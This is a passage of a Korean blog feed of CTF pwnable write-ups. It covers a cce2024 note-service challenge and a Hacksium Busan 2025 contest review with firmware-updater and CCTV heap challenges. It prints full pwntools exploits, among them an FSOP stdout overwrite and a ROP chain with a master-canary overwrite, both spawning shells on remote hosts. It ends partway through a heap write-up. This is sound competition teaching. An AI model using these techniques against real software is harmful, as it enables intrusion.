  if ( (unsigned int)__isoc99_scanf(&quot;%d&quot;, &amp;idx) != 1 )
    return 0LL;
  if ( idx &lt;= 9 )
  {
    if ( *((_QWORD *)&amp;notes + idx) )
    {
      puts(&quot;used note!!&quot;);
      return 0LL;
    }
    else
    {
      printf(&quot;size: &quot;);
      if ( (unsigned int)__isoc99_scanf(&quot;%zu&quot;, &amp;size) == 1 )
      {
        if ( size &lt;= 100 )
        {
          sizes[idx] = size;
          temp_index = idx;
          *((_QWORD *)&amp;notes + temp_index) = calloc(size + 1, 1uLL);
          if ( *((_QWORD *)&amp;notes + idx) )
          {
            printf(&quot;data: &quot;);
            v2 = fread(*((void **)&amp;notes + idx), 1uLL, size, stdin);
            if ( v2 == size )
            {
              return 1LL;
            }
            else
            {
              perror(&quot;fread&quot;);
              return 0LL;
            }
          }
          else
          {
            perror(&quot;calloc&quot;);
            return 0LL;
          }
        }
        else
        {
          puts(&quot;big size..&quot;);
          return 0LL;
        }
      }
      else
      {
        return 0LL;
      }
    }
  }
  else
  {
    puts(&quot;out of bound!!&quot;);
    return 0LL;
  }
}</code></pre>
<p>우선 idx, size, data를 입력받는데, idx는 9이하라는 검증이, size는 100이하라는 검증이 존재하고, data는 size값만큼 fread로 입력하도록 되어있다. 
동적할당은 calloc을 이용하며, size+1의 크기를 할당한다. </p>
<p>위 코드에서 존재하는 취약점은 idx 검증이다. idx가 signed int 이기 때문에 음수가 되어도 검증을 통과한다. 
이와 동일한 취약점이 view, edit모두에 존재한다. </p>
<p>따라서 할당한 힙 주소들을 저장하는 배열인 notes는 bss영역에 존재하기 때문에 그 앞에 있는 영역에 존재하는 주소값을 참조할 수 있다. 다만 그 앞의 영역에 값을 쓰거나, 읽을 수 있는 것이 아니라 그 앞의 영역에 써진 주소값을 참조해 값을 쓰거나 읽을 수 있는 것이라는 점에 주의해야 한다. </p>
<p><br></br>
여기까지 분석하고 나니 아무래도 바로 앞쪽에 stdout이 존재하고, 거기에 libc에 존재하는 stdout 파일 구조체의 주소가 쓰여있다보니, 이 주소에 값을 쓰는 fsop 형태의 익스가 적합할 것이라는 생각이 들었다. 그러려면 우선 libc leak이 필요하다. </p>
<p>하지만 바로 앞 영역에 libc 주소를 바로 릭할 수 있는 주소값은 존재하지 않았다. 직접 디버깅해본 결과 stdout보다 앞쪽인 0x4008오프셋의 주소에 자기 자신의 주소가 쓰여진 부분이 존재하는 것을 발견했다. (0x???008이라는 주소에 0x???008이라는 주소가 쓰여있음) 
따라서 이 부분을 이용해 libc 주소를 릭하기로 했다. 방법은 다음과 같다.</p>
<ol>
<li>0x4008 오프셋 부분에 view를 통해 그 주소를 출력시킨다. </li>
<li>1에서 출력시킨 값으로 pie base 주소를 구한다.</li>
<li>edit을 이용해 0x4008 오프셋 부분에 bss영역에 존재하는 stdout의 주소를 적는다. 
 여기서, edit을 위해 필요한 조건이 있다. <ul>
<li>edit함수의 내부를 살펴보면 우선 <code>*((_QWORD *)&amp;notes + idx)</code>와 같은 조건을 통해서 해당 부분에 이미 값이 쓰여있는지를 확인하는데 일단 우리는 이미 값이 쓰여있는 곳에다 edit을 하는거니까 이건 신경안써도 된다. </li>
<li>다음으로 <code>sizes[idx] &gt;= size</code> 조건을 통해서 내가 값을 쓸 idx를 기준으로 sizes 배열을 검증한다. 만약 여기에 쓰여있는 값보다 내가 입력한 size가 더 크면 바로 함수를 종료시켜 값을 쓸 수가 없다. 따라서 보통 상황이라면 0이 적혀있을 것이므로 여기에서 바로 리턴되는 것을 막기 위해 0x4008오프셋에 해당하는 idx를 기준으로 sizes배열의 해당 위치에 특정 값을 써줘야한다. 이 조건을 만족하는 것은 그리 어렵지 않다. create를 이용해 주솟값을 써주면 충분히 큰 값이 써지기 때문에 최대 6바이트정도의 write가 필요한 우리로서는 부족함이 없다. </li>
<li>0x4008 오프셋부분은 notes[-11] 위치에 해당하는데, <code>&amp;size[-11] == &amp;notes[1]</code> 이므로 edit을 수행하기 전 idx 1에 대해 create을 수행하면 된다. </li>
</ul>
</li>
<li>0x4008 오프셋 부분에 view를 하여 &amp;stdout에 써진 libc주소를 출력시킨다.</li>
</ol>
<p><br></br>
이제 libc base를 구했으니 맨 처음에 생각했던 대로 stdout FILE 구조체의 주소에 특정 값을 써서 FSOP를 하면 된다. 
이때도 아까와 같이 size값 검증을 신경써줘야 한다. 
stdout의 주소가 적힌 위치는 notes[-8]인데, <code>size[-8] == &amp;notes[4]</code> 이므로 idx 4에 미리 create를 해놓으면 notes[-8]에 큰 size값을 edit할 수 있다. </p>
<p>최종 익스코드는 아래와 같다.</p>
<pre><code class="language-python">from pwn import *

#p = process(&quot;./haha&quot;)
p = remote(&quot;3.38.195.222&quot;, 5555)
context.log_level = &quot;debug&quot;
e = ELF(&quot;./haha&quot;)
libc = ELF(&quot;./libc.so.6&quot;)#e.libc


def create(idx, size, content):
    p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;1&quot;)
    p.sendlineafter(b&quot;index: &quot;, str(idx).encode())
    p.sendlineafter(b&quot;size: &quot;, str(size).encode())
    p.sendafter(b&quot;data: &quot;, content)

def view(idx):
    p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;3&quot;)
    p.sendlineafter(b&quot;index: &quot;, str(idx).encode())

def edit(idx, size, content):
    p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;2&quot;)
    p.sendlineafter(b&quot;index: &quot;, str(idx).encode())
    p.sendafter(b&quot;size: &quot;, str(size).encode())
    p.send(content)


#1. libc leak===========

view(-11)
p.recvuntil(b&quot;data: &quot;)
pie_base = u64(p.recvline().strip()+b&quot;\x00\x00&quot;)-  0x4008
log.info(hex(pie_base))

create(1, 16, b&quot;A&quot;*15)
edit(-11, 8, p64(pie_base + 0x4020))
view(-11)
p.recvuntil(b&quot;data: &quot;)
libc_base = u64(p.recvline().strip()+b&quot;\x00\x00&quot;)-  libc.symbols[&#39;_IO_2_1_stdout_&#39;]
log.info(hex(libc_base))


#2. FSOP =======================

libc.address = libc_base
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b&quot;&quot;, vtable = 0, more_append = b&quot;&quot;):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b&quot;&quot;:
        FSOP += b&quot;\x00&quot;*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b&quot;\x00&quot;)

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

_IO_file_jumps = libc.symbols[&#39;_IO_file_jumps&#39;]
stdout = libc.symbols[&#39;_IO_2_1_stdout_&#39;]
log.info(&quot;stdout: &quot; + hex(stdout))
FSOP = FSOP_struct(flags = u64(b&quot;\x01\x01;sh;\x00\x00&quot;), \
        lock            = libc.symbols[&#39;_IO_2_1_stdout_&#39;] + 0x10, \
        _IO_read_ptr    = 0x0, \
        _IO_write_base  = 0x0, \
        _wide_data      = libc.symbols[&#39;_IO_2_1_stdout_&#39;] - 0x10, \
        _unused2        = p64(libc.symbols[&#39;system&#39;])+ b&quot;\x00&quot;*4 + p64(libc.symbols[&#39;_IO_2_1_stdout_&#39;] + 196 - 104), \
        vtable          = libc.symbols[&#39;_IO_wfile_jumps&#39;] - 0x20, \
        )


create(4, 16, b&quot;a&quot;*15)
edit(-8, len(FSOP), FSOP)


p.interactive()
#cce2024{17f41ea51ab0ddaea3abef26546f12a87eef049458de7b2d854ca43fca52855dbabd6d8e83e9743cc2ddb2ed744ed788f19a28dab5c2a478}</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Hacksium Busan 2025] 본선 후기 & WriteUp]]></title>
            <link>https://velog.io/@chk_pass/Hacksium-Busan-2025-%EB%B3%B8%EC%84%A0-%ED%9B%84%EA%B8%B0-WriteUp</link>
            <guid>https://velog.io/@chk_pass/Hacksium-Busan-2025-%EB%B3%B8%EC%84%A0-%ED%9B%84%EA%B8%B0-WriteUp</guid>
            <pubDate>Fri, 18 Jul 2025 16:18:41 GMT</pubDate>
            <description><![CDATA[<p>이번에 처음 열리는 대회라 정보가 많이 없어 한 번 후기글을 작성해보기로 했다. </p>
<p>*<em>문제 라업은 가장 밑에 적어놓았다. *</em></p>
<p>2박 3일 간 열리는 대회였지만 첫날은 오리엔테이션 같은거만 해서 사실상 대회는 1박 2일이었고, 첫날은 7시간(10:00<del>17:00), 둘 째 날은 4시간(10:00</del>14:00)으로 실질적으로 ctf 자체가 운영되는 시간은 총 11시간에 불과했다. </p>
<p><br></br></p>
<h2 id="진행방식">진행방식</h2>
<p>대회는 live-fire와 jeopardy가 동시에 진행되는 방식이었다. </p>
<p>대회 기간 내내 동일한 서버에 대해 live-fire가 진행되고 그와 동시에 jeopardy도 함께 진행되었다. jeopardy의 경우 첫번째 날과 두번째 날의 문제가 달랐다. </p>
<p>live-fire는 총 2000점이 주어지고, 15분마다 한 라운드이며 라운드가 지날때마다 공격이 이루어져 취약점 당 10점, 최대 40점이 감점되는 형식이었다. (SLA에서 걸리면 무조건 40점이 감점이다)</p>
<p>7시간 중 1시간이 점심시간이라 live-fire의 라운드가 이루어지는 시간은 총 6시간이었고, 한 라운드가 15분인 걸 고려하면 총 24라운드가 존재하는 셈이다. 그러면 최대 감점은 960점일 것이다. </p>
<p>둘째날 까지 고려해도 +3시간이고, 그럼 12라운드가 추가로 있는거니까 추가로 480점 감점, 이틀에 걸친 최대 감점이 1440점이다. </p>
<p>960점이면 어려운 문제 하나, 쉬운 문제 3개정도에 해당하는 분량이고, 아예 live-fire를 포기하면 감점되는 점수가 1440점이니까 지금 와서 생각해보면 live-fire의 비중이 생각보다 크지 않은 것 같다. 
<br></br></p>
<h2 id="live-fire">live-fire</h2>
<p>우리는 일단 첫 라운드는 전원이 같이 live-fire를 보고, 그 이후에 유동적으로 인원 대비 효율이 안 나는 상황에서는 일부 인원은 jeopardy로 전환하기로 했다. 일단 가장 이상적인 상황은 빠른 시간 내에 모든 취약점을 패치하고 모두가 jeopardy로 옮기는 것이었다. 실전에서 예상대로 흘러가지 않을 것이 뻔해서 몇 가지 행동원칙을 조금 세워서 갔다. </p>
<p>당연히 이상적으로 흘러가지는 않았다. 아무래도 우리팀은 전원이 live-fire가 처음이었고, 웹을 할 줄 아는 사람이 한 명이었는데 live-fire의 서버는 웹서버였다. 심지어 나는 전혀 접해보지도 않은 typescript 코드여서 나에게는 더더욱 힘들었다. 코드도 엄청 많았다. 정신없이 지피티랑 제미나이를 오가다보니까 한 시간이 흘러있었고, 우리는 4 라운드동안 꼬박꼬박 야무지게 40점이 까이고 있었다. 한 시간이나 썼는데도 나는 그닥 도움을 주지 못했고, 나는 진짜진짜 웹알못이라 내가 이걸 같이 봐봐야 도움이 절대 안된다 싶어서 두 분만 live-fire를 계속 보고 나머지 둘은 jeopardy문제를 풀기로 했다. </p>
<p>조금 더 덧붙이자면 이게 총 4가지의 취약점을 패치해야하는데 한 취약점군이 여러 개일수도 있다. 그러니까 만약에 서버에 존재하는 4가지 취약점 중 하나가 sqli라면 총 n개의 sqli를 패치해야 10점을 지키게 되는 것이다. 이게 한가지 취약점군이 몇 개인지조차 모르니까 좀.. 여러모로 침착을 유지하기가 힘들었다.(ㅋ)</p>
<p>그리고 워낙 정신이 없어 정확한 시점이 기억 나진 않지만 한참 문제를 푸는 도중 3개의 취약점이 제대로 패치되었다는 소식을 들었다. 모든 취약점을 패치한 팀이 많이 없기도 했고, 모든 취약점을 찾는 거보다 문제푸는게 더 나을 거라는 생각이 들어서 그냥 10점씩 계속 까이기로 하고 그 이후는 모든 팀원이 jeopardy를 본 것 같다. 둘 째 날에도 거기서 더 안 건드리고 그냥 냅뒀다. </p>
<p>내가 팀장이라 뭔가 잘 이끌었어야 했던 거 같은데 너무 정신이 없어서 그러지 못한 것 같아서 조금 아쉽다. 그래도 지금 와서 생각해보면 행동 원칙을 미리 세워서 그런지 우왕좌왕 하지 않고 자연스럽게 각자 자기 할일이 잘 분배된 상태로 진행이 된 것 같다. 그때는 그냥 눈앞에 보이는 걸 한거였지만 각자가 한 일이 가장 효율적인 방법이었다고 생각한다. 
<br></br></p>
<h2 id="jeopardy">jeopardy</h2>
<h3 id="first-day">First day</h3>
<p> jeopardy는 첫날의 경우 문제가 크게 스마트 선박과 스마트 제조라는 카테고리로 나뉘어 출제가 되었다. </p>
<p>이게 포너블, 웹, 리버싱, 포렌식 등의 분야가 태깅되어있지 않고, 단순히 스마트선박, 스마트제조로만 구분이 되어있었다. 그래도 주어진 서버의 접속 형태나, 파일 등을 가지고 쉽게 유추할 수 있었다.  그리고 문제가 선박에서 세 문제, 제조에서 열문제 이상(정확히 기억 안남)이라서 생각보다 문제가 많았다. 문제 풀 시간이 7시간밖에 없고(심지어 그 안에 점심도 먹어야 함), 그 와중에 live fire도 해야 하며 팀원이 최대 4명이라는 점을 고려하면 문제가 좀 많아서 아예 건드려보지 못한 문제도 많이 나온 것 같다. 여담이지만 5시 땡 하자마자 얄짤 없이 모든 사이트를 닫아서 문제 다운로드는 커녕 스코어보드도 볼 수가 없었다.. 그래서 정확한 문제 정보나 개수같은 것은 잘 모르겠다.</p>
<p>일단 난 포너블 문제 2개를 풀었다. </p>
<p>둘 다 솔버가 많은 편이었고 11솔 정도였다. (제일 많은건 웹인듯 미스크인듯 한 문제였음. 2n솔 정도 였고 내가 안 풀어서 정확한 건 모르겠음) </p>
<p>그렇게 어려운 난이도는 아니었다. 라업은 가장 밑에 적어놓았다. </p>
<p>첫날은 어쨋든 총 3문제를 풀고, 어느 시점엔가 3개의 취약점을 패치한 상태로 마무리했다. </p>
<p>첫날 종료 후에 몇 등이었는지는 못 봤다. 아마 1n등이었던 것 같다.</p>
<h3 id="second-day">Second day</h3>
<p>두 번째 날에는 첫 날과 아예 다른 문제들이 나왔다. 이 날도 정확하게 기억은 안 나는데 첫날이랑 카테고리는 똑같았고, 각 카테고리 당 세 문제씩 해서 총 6문제 정도가 있었다. 주어진 시간은 점심시간 포함 4시간이었다.</p>
<p>그 중에 포너블 문제는 하나밖에 없었는데, 난이도가 높은 편이었던 거 같다. 나는 끝나기 30분 전까지 계속 그 문제만 잡았는데 마지막에 보니까 끝까지 0솔이었다. 어쩌면 포기하고 다른 걸 보는 게 더 나았을 수도 있었겠다 싶다. </p>
<p>일단 문제 바이너리가 c++이었는데 나는 c++ 을 잘 못해서 좀 힘들었다. 항상 해야지 해야지 하고 안했는데.. 이제 진짜로 공부해야겠다. </p>
<p>바이너리를 실행하면 바이너리가 소켓으로 입력을 받고, 그 입력에 따라 여러 기능을 처리하는 형태였다. ADMIN 기능을 실행해 systeminfo 기능을 실행하면 메모리 매핑 정보를 출력해주기 때문에 바이너리 매핑주소나 힙 주소, libc 주소등을 얻을 수 있는 것 까지는 파악을 했는데 익스를 어떻게 해야할지는 알아낼 수 없었다. 아무래도 c++이라 입력 처리할 때 다 동적할당으로 처리를 해서 일반적인 메모리커럽션은 절대 아닐거같고.. 힙을 이용해서 풀어야 할 것 같았다. 근데 첫 날 문제 중 힙문제랑 똑같이 얘도 디버깅할 때 libc 심볼이 안잡혀서 힙 플러그인을 못 썼다. c++에 힙 관련인데 플러그인도 못쓰면.. 아마 시간이 많았어도 풀기 어렵지 않았을까 싶다. 전혀 다른 취약점일수도 있겠지만..</p>
<p>어쨌든 c++을 공부하자, 우분투 버전을 업그레이드하자 라는 교훈을 얻었다
<br></br>
끝나기 30분전쯤에 보니까 내가 잡은 포너블은 0솔이고 apk가 주어지는 어플리케이션 문제가 조금 솔버가 있어서 팀원들이랑 다같이 그 문제에 붙었다. 그런데 아무래도 시간이 부족해서 결국 풀진 못했다. </p>
<p>결론적으로는 두 번째 날에는 나는 한 문제도 못 풀었다. 그래도 팀원이 문제 3개 정도를 추가적으로 풀어서 <strong>최종 11등으로 마무리를 했다</strong>. </p>
<p>오프라인 대회 참가는 처음이었기 떄문에 만족스러운 결과이다. 그리고, 오프라인 대회를 경험해보았다는 점이 가장 의미 있었다. 한동안 CTF에 좀 소홀했었는데 이번 기회로 또 CTF도 다시 열심히 해야겠다는 생각이 들었다. </p>
<p>앞으로도 공부를 더더 열심히 해야겠다!!
<img src="https://velog.velcdn.com/images/chk_pass/post/9b92083d-c076-41d6-b260-a69b64fac5b1/image.png" alt=""></p>
<p><br></br></p>
<h2 id="writeup">WRITEUP</h2>
<h3 id="1-스마트제조-산업장비업데이트시스템">1. 스마트제조-산업장비업데이트시스템</h3>
<p>일단 이 문제는 간단하게 bof로 해결할 수 있는 문제였다. </p>
<p>하지만 직접 페이로드를 잘 구성해주어야 bof가 터지고, canary가 걸려있어 이를 우회해야 한다.</p>
<p>바이너리를 실행하면 아래와 같이 여러 옵션이 존재하는데 일단 bof는 1번인 업로드에서 터지고 다른 함수는 아예 보지도 않아서 다른 취약점이 있는지는 잘 모르겠다. </p>
<pre><code class="language-c">      puts(&quot;== Firmware Updater Menu ==&quot;);
    puts(&quot;1. Upload Firmware&quot;);
    puts(&quot;2. Show Metadata&quot;);
    puts(&quot;3. Apply Firmware&quot;);
    puts(&quot;4. Clear Firmware&quot;);
    puts(&quot;5. Exit&quot;);
    printf(&quot;&gt; &quot;);</code></pre>
<p>업로드 함수 내부의 핵심 부분은 아래와 같다. </p>
<pre><code class="language-c">  memset(buf, 0, 0x1020uLL);
  printf(&quot;[+] Enter data: &quot;);
  read(0, buf, 0x10uLL);
  v1 = *(_WORD *)&amp;buf[14];
  v2 = *(_WORD *)&amp;buf[12];
  if ( *(__int16 *)&amp;buf[14] &lt;= 0x1020 )
  {
    if ( *(_DWORD *)buf == 0x4743 )
    {
      read(0, &amp;buf[16], 0x20uLL);
      v3 = v1 - v2 - 32;
      if ( v3 &lt;= 0xFF0 )
      {
        read(0, &amp;buf[v2 + 32], (unsigned __int16)v3);
        s = fopen(&quot;firmware.bin&quot;, &quot;wb&quot;);
        fwrite(buf, 1uLL, 0x1020uLL, s);
        fclose(s);
        printf(&quot;[+] Firmware uploaded: %s (version: %d)\n&quot;, &amp;buf[16], *(unsigned int *)&amp;buf[4]);
      }
      else
      {</code></pre>
<p>세번의 if문을 거쳐 read에 도달하면 세 번째 인자인 size가 v3인데, 이 값은 <code>v1 - v2 - 32</code>로 우리의 입력에 따라 결정될 수 있는 값이다. 하지만 직전에 <code>v3 &lt;= 0xFF0</code> 라는 조건문으로 v3을 검증하고 있는데, v3는 signed인 2바이트 정수형이므로 음수로 만들면 이 조건문을 우회하면서 큰 값을 read하게 할 수 있다. </p>
<p>따라서 세 번째 if를 모두 통과하면서 v3이 음수가 되도록 페이로드를 잘 짜면, buf에다가 bof를 할 수가 있게 된다. </p>
<p>또한 canary의 경우에는 이 바이너리가 thread를 이용하고 메뉴출력 및 각 기능 실행 루틴이 새로운 스레드를 형성해 실행되고 있다는 점을 고려하면 master canary를 덮어 우회할 수 있다. 심지어 앞서 살펴본 bof에서 상당히 큰 값을 쓸 수 있었기 때문에 아마 이것이 의도된 익스 방식일 것이다. </p>
<p>나같은 경우에는 첫 번째 upload수행 시 printf_plt를 이용해서 (pie는 안걸려있음.. 감사합니다..) libc 주소를 leak하고 다시 upload함수로 리턴하는 rop 페이로드와 함께 한번에 마스터카나리까지 b”A”*8으로 덮어버렸다. </p>
<p>그리고 다시 upload함수가 실행되면서 동일하게 bof가 터지는데, libc_base를 구한 상태이므로 그냥 libc 가젯과 system주소, binsh주소를 직접 넣어서 rop체인을 구성해 system(”/bin/sh”)를 실행시켰다. </p>
<p><code>ex.py</code></p>
<pre><code class="language-python">from pwn import *

BINARY = &quot;./prob&quot;

HOST = &quot;127.0.0.1&quot;
HOST = &quot;43.203.216.173&quot;
PORT = 1337

context.log_level = &#39;debug&#39;

#p = process(BINARY)
p = remote(HOST, PORT)

def upload_firmware(data, data2, payload):

    p.sendlineafter(b&quot;&gt; &quot;, b&quot;1&quot;) # &#39;1. Upload Firmware&#39; 선택
    p.sendafter(b&quot;[+] Enter data: &quot;, data)
    p.send(data2)
    p.send(payload)

got = 0x404F48
pause()

rop = p64(0x401250) #printf_plt
rop += p64(0x40187A) #return to upload
payload =  b&quot;A&quot;*8*2
payload +=rop
payload += p64(0)*((0x858-0x20)//8-2 - len(rop)//8 )+p64(0x405000+0x200)*5+b&quot;A&quot;*8

upload_firmware(p32( 0x4743 ) + b&quot;\x00&quot; * 8 + p16(0x1008 ) + p16( 0x1020 ), b&quot;A&quot;*0x20, payload)

#0x5f730

p.recvuntil(b&quot; 0)\n&quot;)
libc_base = u64(p.recv(6)+b&quot;\x00\x00&quot;) - 0x5f730
log.info(hex(libc_base))

#payload가 쓰이는 곳은 buf+0x1028 (rbp-0x8) 에다가 0xff??만큼 쓸 수 있다. 
#fs_base+0x28은 upload함수의 rbp+0x858

system =  0x58750
binsh = 0x1cb42f
poprdi = 0x10f75b
ret = poprdi + 1

payload2 =  b&quot;A&quot;*8*2
payload2 += p64(libc_base + poprdi) + p64(libc_base + binsh) +  p64(libc_base+ret) + p64(libc_base+system)
p.sendafter(b&quot;[+] Enter data: &quot;, p32( 0x4743 ) + b&quot;\x00&quot; * 8 + p16(0x1008 ) + p16( 0x1020 ))
p.send(b&quot;A&quot;*0x20)
p.send(payload2)

p.interactive()
#busanit2025{14d7554080339cec2c9a8e0d3c0d5e9f7bf90422655d24b3e57e4e4a19ea1bb965ebbb5f84457df34b1cab0c2f862f03a094839bbe7ab7e5bd52375bfd26e1f1875f15}</code></pre>
<p><br></br></p>
<h3 id="2-스마트선박-선박-cctv-시스템">2. 스마트선박-선박 CCTV 시스템</h3>
<p>이 문제는 libc 심볼이 안 잡혀서 너무 힘들게 풀었다…. 힙관련 툴도 하나도 못 쓰고 initial 주소도 노가다로 구해서 너무너무 힘들었다 진짜ㅠ </p>
<p>libc base구하고 aaw를 터뜨리는거 까지는 얼마 안걸렸는데 오프셋 구하느라 aaw하고도 한 시간인가 뒤에나 문제를 풀었다. 좀 시간을 너무 허비해서 아쉬웠다. </p>
<p>일단 이 문제는 실행하면 아래와 같은 세 가지의 옵션이 있다. </p>
<pre><code class="language-python">== NVR Control Utility ==
1. Sign Up
2. Login
3. Exit</code></pre>
<p>signup에서 계정을 생성할 수 있고, login으로 login을 하면 된다. </p>
<p>일단 signup을 하면 id와 pw를 입력받고 이를 <code>fprintf(stream, &quot;%s:%s:%d\n&quot;, id, pwd, 0LL);</code> 의 형태로 accounts.db라는 파일에 쓴다. </p>
<p>그리고 login에서는 내가 id와 pw를 입력하면 accounts.db를 읽어들여서 그 중에서 내가 입력한 id와 pw와 일치하는 정보가 있을 경우에만 id_dest, dword_50A0라는 전역변수에 각각 id와 uid같은 느낌의 v1을 저장하고 sub_1F24()라는 로그인 이후의 기능을 수행하는 함수를 실행한다. </p>
<pre><code class="language-c">v3 = __isoc99_sscanf(v9, &quot;%31[^:]:%31[^:]:%d[^\n]&quot;, s1, v8, &amp;v1);
      if ( v3 == 3 &amp;&amp; !strcmp(s1, id) &amp;&amp; !strcmp(v8, pwd) )
      {
        strncpy(id_dest, id, 0x1FuLL);
        dword_50A0 = v1;
        v2 = 1;
        break;
      }
    }
    fclose(stream);
    if ( v2 )
      sub_1F24();</code></pre>
<p> sub_1F24()에서는 아래와 같은 기능들이 존재한다. </p>
<pre><code class="language-python">1. Add Stream Entry
2. Show Config
3. Delete Entry
4. Edit Entry
5. Logout</code></pre>
<p>그런데 그냥 계정을 생성하고 기능을 수행하려 하면 admin이 아니라면서 기능을 못 쓰게한다. admin인지 판단하는 여부는 아까 uid를 입력했던 dword_50A0라는 전역변수가 0인지를 확인한다. 0이 아니어야 기능을 이용할 수 있는데 이전에 signup에서 uid값은 무조건 0으로 하드코딩되어있다. </p>
<p><code>fprintf(stream, &quot;%s:%s:%d\n&quot;, id, pwd, 0LL);</code></p>
<p>이는 pw를 애초에 &quot;hi:1” 로 signup하고, login 시에는 pw에 hi만 입력하는 형태로 우회할 수 있다. 
<br></br></p>
<p>이제 admin이  되어 모든 기능을 이용할 수 있다.</p>
<p>일단 add는 아래와 같이 구성되어있다.</p>
<pre><code class="language-c">unsigned __int64 add()
{
  int idx; // [rsp+4h] [rbp-1Ch]
  char *malloc_ptr; // [rsp+8h] [rbp-18h]
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)sub_1445() )
  {
    printf(&quot;[*] Index: &quot;);
    fgets(s, 8, stdin);
    idx = atoi(s);
    if ( idx &gt;= 0 &amp;&amp; idx &lt;= total_idx )
    {
      malloc_ptr = (char *)malloc(0x60uLL);
      if ( !malloc_ptr )
        exit(1);
      printf(&quot;[*] Stream name: &quot;);
      fgets(malloc_ptr, 32, stdin);
      malloc_ptr[strcspn(malloc_ptr, &quot;\n&quot;)] = 0;
      printf(&quot;[*] RTSP URL: &quot;);
      fgets(malloc_ptr + 32, 64, stdin);
      ptr_list[idx] = malloc_ptr;
      ++total_idx;
      puts(&quot;[+] Entry added.&quot;);
    }
    else
    {
      puts(&quot;[-] Invalid index.&quot;);
    }
  }
  return v4 - __readfsqword(0x28u);
}</code></pre>
<p>entry를 추가하면 0x60바이트의 동적할당을 하는데 그 반환된 힙 주소는 ptr_list라는 총 8개의 엔트리가 있는 QWORD 배열 전역변수에 직접 입력한 idx값으로 인덱싱해 저장한다. 그리고 할당 시마다 전역변수인 total_idx를 증가시킨다. </p>
<p>전역변수 구조를 살펴보면 아래와 같다.</p>
<p>ptr_list는 malloc의 반환값을 저장하는 배열이고, id_dest는 로그인할때 로그인한 id를 복사했던 전역변수, dword_50a0은 uid이며 그 다음으로 total_idx가 있는 구조이다. 
<img src="https://velog.velcdn.com/images/chk_pass/post/e118be98-5d5b-40e4-a8e9-a7a813c55980/image.png" alt=""></p>
<p>그리고 이런 문제에서 흔히 보이는 기능들로, 각각 인덱스를 입력받아 해당 인덱스에 해당하는 힙 주소를 ptr_list에서 가져와 출력, edit, free하는 기능들이 존재한다. </p>
<p>그리고 uaf를 방지하기 위해서 free 시에는 해당 ptr_list 엔트리를 널로 초기화하는 루틴이 있다. 또한, 처음으로 edit하고나면 무조건 fgets로 입력을 받고 개행은 널로 바꾸기 때문에 해제한 청크를 재할당하고 그 값을 출력해 특정 값을 릭하는 것도 어렵다. </p>
<p>하지만 이 문제의 취약점은  total_idx를 관리하는 방식이 실제 ptr_list에 저장되는 값들을 잘 반영하지 못한다는 것에 있다. 일단 계속에서 인덱스 0에 add를 하게 되면 total_idx는 무한대로 증가할 수 있게 된다. (total_idx가 8을 넘어가는 지 등의 검증이 없다)</p>
<p>이후 show_config, edit이나 delete에서 idx를 입력받고 유효한지 검증하는 방식은 아래와 같다.</p>
<p><code>if ( idx &gt;= 0 &amp;&amp; idx &lt; total_idx &amp;&amp; ptr_list[idx] )</code></p>
<p>즉 idx가 0 이상이고 total_idx보다 작으며 <code>ptr_list[idx]</code> 가 널만 아니면 된다는 것이다. 그러면 계속 idx 0에 add를 해서 total_idx가 1000이 되게 하면 998, 999 인덱스 값에 대해서도 edit 등이 가능할 수도 있다. 그런데 ptr_list는 bss영역이므로 더 뒤로 가도 그닥 쓸모있는 부분이 있지는 않다. </p>
<p>하지만 바로 다음이 id_dest라는 것은 조금 이용할만하다.</p>
<pre><code class="language-python">
def add_stream(index: int, name: bytes, rtsp_url: bytes):
    p.recvuntil(b&#39;&gt; &#39;)
    p.sendline(b&#39;1&#39;)  # Add Stream Entry

    p.recvuntil(b&#39;[*] Index: &#39;)
    p.sendline(str(index).encode())

    p.recvuntil(b&#39;[*] Stream name: &#39;)
    p.sendline(name)

    p.recvuntil(b&#39;[*] RTSP URL: &#39;)
    p.sendline(rtsp_url)

    p.recvuntil(b&#39;[+] Entry added.&#39;)

for i in range(9):
    add_stream(i, b&quot;&quot;, b&quot;&quot;)</code></pre>
<p>위와 같이 0부터 8까지의 인덱스에 대해 총 9번을 add하면 9번째 add시에는 동적할당 된 주소가 id_dest에 쓰여진다. </p>
<p>그리고 id_dest는 print_menu를 할때마다 항상 Wecome이라는 문구와 함께 출력되기 때문에 이 다음 턴에는 그 자리에 힙 주소가 출력된다. 즉 heap 주소를 leak할 수 있는 것이다. </p>
<p>그리고 id_dest를 이용할 수 있는 방법은 한 가지 더 있다. </p>
<p>애초에 맨 처음 가입을 할때 id를 내가 원하는 주소값으로 지정하면 로그인 시에 id_dest에 그 주소값이 들어가게 된다. 그리고 ptr_list[8]의 주소(==id_dest)가 덮여지지 않게 잘 조절하면서 add를 9번하면 total_idx가 9가 된 상태이기 때문에 id_dest에 쓰여진 주소값을 참조해 값을 출력하거나 edit하는 것이 가능해진다. </p>
